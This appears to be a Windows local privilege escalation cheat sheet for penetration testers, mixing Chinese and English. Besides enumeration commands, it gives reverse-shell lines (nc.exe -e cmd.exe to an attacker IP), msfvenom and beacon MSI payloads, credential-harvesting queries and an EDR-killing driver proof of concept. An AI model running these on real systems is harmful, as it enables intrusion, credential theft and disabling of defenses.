Windows Local Privilege Escalation
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查找 Windows local privilege escalation vectors 的最佳工具: WinPEAS
Windows 初始理论
Access Tokens
如果你不了解 Windows Access Tokens 是什么,请在继续之前阅读以下页面:
ACLs - DACLs/SACLs/ACEs
有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:
Integrity Levels
如果你不知道 Windows 中的 integrity levels 是什么,应该在继续之前阅读以下页面:
Windows 安全控制
Windows 中存在多种可能会阻止你 prevent you from enumerating the system、运行可执行文件,或甚至 detect your activities 的机制。在开始 privilege escalation enumeration 之前,你应该 read 下列 page 并 enumerate 所有这些 defenses mechanisms:
系统信息
版本信息 enumeration
检查 Windows 版本是否存在已知漏洞(也检查已应用的补丁)。
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
版本 Exploits
这个 site 很适合查找有关 Microsoft 安全漏洞的详细信息。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境呈现的 巨大攻击面。
在系统上
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas 内置了 watson)
本地(含系统信息)
Github 上的 exploits 仓库:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
环境
有没有任何凭证/敏感信息保存在环境变量中?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell 历史记录
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell 转录文件
你可以在 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ 学习如何启用此功能
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell 管道执行的详细信息会被记录,包括已执行的命令、命令调用以及脚本的部分内容。然而,完整的执行细节和输出结果可能不会被捕获。
要启用此功能,请按照文档中 “Transcript files” 部分的说明进行操作,选择 “Module Logging” 而不是 “Powershell Transcription”。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
要查看来自 PowersShell 日志的最近 15 条事件,您可以执行:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
脚本执行的完整活动和全部内容记录会被捕获,确保每个代码块在运行时都被记录。该过程保留了每一项活动的全面审计轨迹,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,可提供对该过程的详细洞察。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block 的日志事件可以在 Windows 事件查看器中的路径找到:Application and Services Logs > Microsoft > Windows > PowerShell > Operational。\ 要查看最后 20 条事件你可以使用:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
互联网设置
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
驱动器
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
如果更新请求不是使用 httpS 而是 http,则可以入侵系统。
首先通过在 cmd 中运行以下命令来检查网络是否使用非 SSL 的 WSUS 更新:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
或者在 PowerShell 中运行以下命令:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
如果你收到如下回复:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.
那么,它可被利用。 如果最后那个注册表项等于 0,则 WSUS 条目会被忽略。
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.
为了利用这些漏洞,你可以使用例如: Wsuxploit、pyWSUS 之类的工具 —— 这些是 MiTM 武器化利用脚本,用于向非 SSL 的 WSUS 流量注入“伪造”更新。
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
Basically, this is the flaw that this bug exploits:
如果我们有能力修改本地用户的代理设置,并且 Windows Updates 使用 Internet Explorer 配置的代理,那么我们就可以在本地运行 PyWSUS 来拦截自身的流量,并以提权用户在本机上运行代码。
此外,由于 WSUS 服务使用当前用户的设置,它也会使用当前用户的证书存储。如果我们为 WSUS 主机名生成一个自签名证书并将该证书添加到当前用户的证书存储中,就能拦截 HTTP 和 HTTPS 的 WSUS 流量。WSUS 没有类似 HSTS 的机制来对证书实施首次信任验证(trust-on-first-use)。只要呈现的证书被用户信任并且主机名正确,服务就会接受它。
You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).
你可以使用工具 WSUSpicious(一旦它被公开)来利用该漏洞。
Third-Party Auto-Updaters and Agent IPC (local privesc)
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
许多企业 agent 会在 localhost 上暴露 IPC 接口和特权更新通道。如果能够将 enrollment 强制指向攻击者服务器,且 updater 信任伪造的根 CA 或签名校验薄弱,本地用户就可以传递一个恶意的 MSI,由 SYSTEM 服务安装。基于 Netskope stAgentSvc 链(CVE-2025-0309)的通用技术见:
KrbRelayUp
A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.
在特定条件下,Windows 域环境中存在一个本地权限提升漏洞。这些条件包括:未强制开启 LDAP signing、用户拥有可配置 Resource-Based Constrained Delegation (RBCD) 的 self-rights,以及用户能够在域内创建计算机的能力。值得注意的是,这些要求在默认设置下即可满足。
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
可在以下位置找到该利用代码: https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
关于攻击流程的更多信息,请查看 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.
如果这两个注册表项被启用(值为 0x1),那么任何权限级别的用户都可以以 NT AUTHORITY\SYSTEM 的身份安装(执行)*.msi 文件。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
使用 power-up 的 Write-UserAddMSI 命令在当前目录中创建一个 Windows MSI 二进制以 escalate privileges。该脚本写出一个预编译的 MSI 安装程序,提示添加用户/组(因此你将需要 GIU 访问权限):
Write-UserAddMSI
只需执行生成的二进制文件即可提升权限。
MSI Wrapper
阅读本教程以学习如何使用这些工具创建 MSI Wrapper。请注意,如果你 只是 想要 执行 命令行,你可以封装一个 “.bat” 文件。
使用 WIX 创建 MSI
使用 Visual Studio 创建 MSI
- Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in
C:\privesc\beacon.exe - 打开 Visual Studio,选择 Create a new project 并在搜索框中输入 “installer”。选择 Setup Wizard 项目并点击 Next。
- 给项目命名,例如 AlwaysPrivesc,位置使用
C:\privesc,选择 place solution and project in the same directory,然后点击 Create。 - 不断点击 Next,直到到达第 3 步(共 4 步,选择要包含的文件)。点击 Add 并选择刚生成的 Beacon payload。然后点击 Finish。
- 在 Solution Explorer 中高亮 AlwaysPrivesc 项目,在 Properties 中将 TargetPlatform 从 x86 改为 x64。
- 你还可以更改其他属性,例如 Author 和 Manufacturer,这可以使安装的应用看起来更合法。
- 右键点击项目并选择 View > Custom Actions。
- 右键 Install 并选择 Add Custom Action。
- 双击 Application Folder,选择你的 beacon.exe 文件并点击 OK。这将确保一旦运行安装程序,beacon payload 就会被执行。
- 在 Custom Action Properties 下,将 Run64Bit 改为 True。
- 最后,build it。
- 如果出现警告
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86',请确保将平台设置为 x64。
MSI Installation
在后台执行恶意 .msi 文件的安装:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
要利用此漏洞你可以使用: exploit/windows/local/always_install_elevated
杀毒软件和检测器
审计设置
这些设置决定了哪些内容会被记录,因此你应该注意
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding,值得了解日志被发送到何处
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS 旨在管理本地 Administrator 密码,确保加入域的计算机上每个密码都是唯一、随机化并定期更新。这些密码安全地存储在 Active Directory 中,并且只有通过 ACLs 授予足够权限的用户才能访问,从而在被授权时查看 local admin 密码。
WDigest
如果启用,明文密码将存储在 LSASS (Local Security Authority Subsystem Service)。
关于 WDigest 的更多信息请见此页面.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
自 Windows 8.1 起,Microsoft 为 Local Security Authority (LSA) 引入了增强保护,以 阻止 不受信任的进程 读取其内存 或注入代码,从而进一步提高系统安全性。
关于 LSA Protection 的更多信息.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard 于 Windows 10 引入。其目的是保护设备上存储的 credentials,免受诸如 pass-the-hash 攻击之类的威胁。| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials 由 Local Security Authority (LSA) 验证,并被操作系统组件使用。 当用户的 logon data 被已注册的 security package 验证时,通常会为该用户建立 domain credentials。
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
用户与组
枚举用户与组
你应该检查自己所属的任何组是否具有有趣的权限
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Privileged groups
如果你 属于某个特权组,可能能够提升权限。在此了解特权组以及如何滥用它们来提升权限:
Token manipulation
了解更多 有关什么是 token 的内容请见本页: Windows Tokens.
查看以下页面以 了解有趣的 token 以及如何滥用它们:
Logged users / Sessions
qwinsta
klist sessions
主目录
dir C:\Users
Get-ChildItem C:\Users
密码策略
net accounts
获取剪贴板内容
powershell -command "Get-Clipboard"
运行中的进程
文件和文件夹权限
首先,列出进程并检查进程命令行中是否包含密码。
检查你是否可以覆盖正在运行的 binary或你是否对 binary folder 拥有写权限,以利用可能的 DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
始终检查是否存在 electron/cef/chromium debuggers 正在运行时,你可以滥用它来提升权限.
检查进程二进制文件的权限
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
检查进程二进制文件所在的文件夹权限 (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
内存密码挖掘
你可以使用来自 sysinternals 的 procdump 对正在运行的进程创建内存转储。像 FTP 这样的服务在内存中会有 明文凭证,尝试转储内存并读取这些凭证。
procdump.exe -accepteula -ma <proc_name_tasklist>
不安全的 GUI 应用程序
以 SYSTEM 身份运行的应用可能允许用户启动 CMD 或浏览目录。
示例: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”
服务
Service Triggers 允许 Windows 在某些条件发生时启动服务(named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh 等)。即使没有 SERVICE_START 权限,你通常也可以通过触发它们的 triggers 来启动有特权的服务。查看此处的枚举和激活技术:
获取服务列表:
net start
wmic service list brief
sc query
Get-Service
权限
你可以使用 sc 获取服务信息
sc qc <service_name>
建议拥有来自 Sysinternals 的二进制文件 accesschk,用于检查每个服务所需的权限级别。
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
建议检查 “Authenticated Users” 是否可以修改任何服务:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
启用服务
如果你遇到以下错误(例如 SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
你可以使用以下命令启用它
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
请注意服务 upnphost 依赖 SSDPSRV 才能工作(针对 XP SP1)
另一种解决方法 是运行:
sc.exe config usosvc start= auto
修改服务二进制路径
在“Authenticated users”组对某个服务具有 SERVICE_ALL_ACCESS 的情况下,可能修改该服务的可执行二进制文件。要修改并执行 sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
重启服务
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
可以通过以下权限提升特权:
- SERVICE_CHANGE_CONFIG: 允许重新配置服务可执行文件。
- WRITE_DAC: 允许重新配置权限,从而能够更改服务配置。
- WRITE_OWNER: 允许获取所有权并重新配置权限。
- GENERIC_WRITE: 继承更改服务配置的能力。
- GENERIC_ALL: 也继承更改服务配置的能力。
要检测和利用此漏洞,可以使用 exploit/windows/local/service_permissions。
服务二进制文件弱权限
检查是否可以修改由服务执行的二进制文件 或者 如果你对二进制文件所在的文件夹有 写权限 (DLL Hijacking).
你可以使用 wmic 获取每个由服务执行的二进制文件(不在 system32 中),并使用 icacls 检查你的权限:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
你也可以使用 sc 和 icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
服务注册表修改权限
你应该检查是否可以修改任何服务注册表。
你可以检查你对某个服务注册表的权限,方法:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
应该检查 Authenticated Users 或 NT AUTHORITY\INTERACTIVE 是否拥有 FullControl 权限。如果是,服务执行的二进制文件可以被更改。
要更改要执行的二进制的 Path:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services registry AppendData/AddSubdirectory 权限
如果你在某个注册表上拥有此权限,意味着 你可以从该注册表创建子注册表。在 Windows 服务的情形下,这 足以执行任意代码:
AppendData/AddSubdirectory permission over service registry
未加引号的服务路径
如果可执行文件的路径未被引号包裹,Windows 会尝试执行每个空格前的结尾部分。
例如,对于路径 C:\Program Files\Some Folder\Service.exe,Windows 将尝试执行:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
列出所有未加引号的服务路径,不包括属于内置 Windows 服务的:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
您可以检测并利用 此漏洞,使用 metasploit: exploit/windows/local/trusted\_service\_path 您可以使用 metasploit 手动创建一个 service binary:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
恢复操作
Windows 允许用户指定服务失败时要执行的操作。该功能可以配置为指向某个 binary。如果该 binary 可被替换,则可能发生 privilege escalation。更多细节请参见 官方文档。
应用程序
已安装的应用程序
检查 binaries 的权限(也许你可以覆盖其中一个并 escalate privileges)以及 文件夹(DLL Hijacking)。
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
写入权限
检查是否可以修改某些配置文件以读取某个特殊文件,或者是否可以修改将由管理员账户执行的某个二进制文件 (schedtasks)。
查找系统中弱文件夹/文件权限的一种方法是执行:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
启动时运行
检查是否可以覆盖将由不同用户执行的某些 registry 或 binary。
阅读 以下页面 以了解有关有趣的 autoruns locations to escalate privileges 的更多信息:
Privilege Escalation with Autoruns
驱动程序
查找可能的 第三方 异常/易受攻击的 驱动程序
driverquery
driverquery.exe /fo table
driverquery /SI
如果驱动暴露了 arbitrary kernel read/write primitive(常见于设计不良的 IOCTL handlers),你可以通过直接从内核内存窃取 SYSTEM token 来提权。查看分步技术:
Arbitrary Kernel Rw Token Theft
滥用在设备对象上缺少 FILE_DEVICE_SECURE_OPEN(LPE + EDR kill)
一些已签名的第三方驱动通过 IoCreateDeviceSecure 使用强 SDDL 创建其 device object,但忘记在 DeviceCharacteristics 中设置 FILE_DEVICE_SECURE_OPEN。没有此标志时,通过包含额外组件的路径打开设备时不会强制 secure DACL,从而允许任何非特权用户通过类似的命名空间路径获取句柄:
- \.\DeviceName\anything
- \.\amsdk\anyfile (from a real-world case)
一旦用户可以打开该设备,驱动暴露的特权 IOCTLs 就可以被滥用用于 LPE 和篡改。野外观测到的示例能力:
- 返回对任意进程的完全访问句柄(token theft / 通过 DuplicateTokenEx/CreateProcessAsUser 获取 SYSTEM shell)。
- 无限制的 raw disk read/write(离线篡改、boot-time persistence 技巧)。
- 终止任意进程,包括 Protected Process/Light (PP/PPL),允许通过内核从用户态终结 AV/EDR。
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
对开发者的缓解措施
- 在创建打算用 DACL 限制的 device objects 时,始终设置 FILE_DEVICE_SECURE_OPEN。
- 验证调用者上下文以执行特权操作。在允许进程终止或返回句柄之前添加 PP/PPL 检查。
- 限制 IOCTLs(access masks、METHOD_*、输入验证),并考虑使用 brokered models 而不是直接给予 kernel privileges。
防御者的检测思路
- 监控用户态对可疑 device 名称 的打开(例如 \ .\amsdk*)以及表明滥用的特定 IOCTL 序列。
- 强制执行 Microsoft’s vulnerable driver blocklist(HVCI/WDAC/Smart App Control)并维护自己的允许/拒绝 列表。
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
有关如何滥用此检查的更多信息:
Writable Sys Path +Dll Hijacking Privesc
网络
共享
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
检查 hosts 文件中是否有其他已知计算机的硬编码条目
type C:\Windows\System32\drivers\etc\hosts
网络接口 & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
开放端口
检查来自外部的 受限服务
netstat -ano #Opened ports?
路由表
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP 表
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall 规则
Check this page for Firewall related commands (列出规则、创建规则、关闭、关闭…)
更多 commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
二进制文件 bash.exe 也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe 找到
如果你获得 root user 权限,你可以在任意端口监听(第一次使用 nc.exe 在端口上监听时,GUI 会询问是否允许 nc 通过防火墙)。
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
要轻松以 root 身份启动 bash,可以尝试 --default-user root
你可以在文件夹 C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 中探索 WSL 文件系统
Windows 凭据
Winlogon 凭据
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
凭据管理器 / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
The Windows Vault stores user credentials for servers, websites and other programs that Windows can log in the users automatically. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.
Windows Vault stores credentials that Windows can log in the users automatically, which means that any Windows application that needs credentials to access a resource (server or a website) can make use of this Credential Manager & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.
Unless the applications interact with Credential Manager, I don’t think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow communicate with the credential manager and request the credentials for that resource from the default storage vault.
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
然后你可以使用 runas 的 /savecred 选项来使用保存的凭据。下面的示例通过 SMB 共享调用远程二进制文件。
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
使用 runas 并提供一组凭据。
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
注意:mimikatz、lazagne、credentialfileview、VaultPasswordView、或来自 Empire Powershells module。
DPAPI
Data Protection API (DPAPI) 提供了一种对数据进行对称加密的方法,主要在 Windows 操作系统中用于对非对称私钥进行对称加密。该加密利用用户或系统的秘密作为熵的重要来源。
